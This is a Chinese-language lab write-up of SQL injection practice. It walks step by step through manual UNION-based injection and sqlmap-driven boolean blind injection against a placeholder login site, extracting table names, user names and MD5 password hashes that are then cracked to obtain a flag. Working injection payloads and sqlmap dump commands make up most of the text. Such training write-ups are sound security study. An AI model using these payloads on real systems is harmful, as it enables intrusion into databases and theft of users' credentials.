【SQL注入】SQL注入基本流程

【SQL注入】SQL注入基本流程

  • 摘要

一次简单的SQL注入靶场实践,两个实验环境,分别为有显示位和没有显示位,采用联合注入和布尔型注入的方法,分别通过手注和sqlmap工具的方式进行注入,最终获得数据库数据。

  • 【场景一】

关键字: 联合注入,手注
背景: 只有登录页面,需账号密码登录
工具: MD5在线解密工具
步骤:
1.查看当前页面,发现登录框下方有滚动条,内有公告信息,尝试点击
2.URL为http://xxx/new_list.php?id=1,找到注入页面
3.分别在URL后输入

and 1=1和and 1=2

页面显示不同,判断此处为数字型注入,不需要闭合,同时页面有回显,应采用联合查询注入方法
4.判断出有4列

order by 4

5.判断出2,3位为显示位

id=-1 union select 1,2,3,4  

6.判断出当前数据库名(名字我忘了)

union select 1,database(),3,4   

7.判断表名为StormGroup_member

union select 1,table_name,3,4 from information_schema.tables where table_schema='数据库名'  

8.判断列名为id,user,passpord,status

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

9.获得用户名

union select 1,group_concat(user),3,4 from StormGroup_member   

10.获得两个MD5加密的密码和相应的状态

union select 1,group_concat(status),group_concat(password),4 from StormGroup_member  

11.使用在线解密工具解密状态为1的password,获得未加密的密码
12.使用用户名和获得的密码登录,得到key

  • 【场景二】

关键字: 布尔型盲注,sqlmap
背景: 只有登录页面,需账号密码登录
工具: sqlmap ,MD5在线解密工具
步骤:
1.与场景一非常相似,登录框下方有滚动条,内有公告信息,点击进入注入页面
2.分别在URL后面加and 1=1和and 1=2
//页面回显不同,但仅为正确和错误两种,错误时页面上无分割线等内容,判断为布尔型注入
3.布尔型注入耗时费力,直接上工具,使用sqlmap获得数据(因为参数不够熟练还请教了度娘)
①获取所有数据库名:

sqlmap -u http://xxx/new_list.php?id=1 --dbs

②获取当前数据库名:

sqlmap -u http://xxx/new_list.php?id=1 --current-db

③获取表名:

sqlmap -u http://xxx/new_list.php?id=1 -D stormgroup --table

④获取数据:

sqlmap -u http://xxx/new_list.php?id=1 -D stormgroup -T member --dump

3.得到用户名和密码,密码为MD5加密数据,使用在线解密工具解密,得到账号密码
4.登录,得到key

你可能感兴趣的:(【SQL注入】SQL注入基本流程)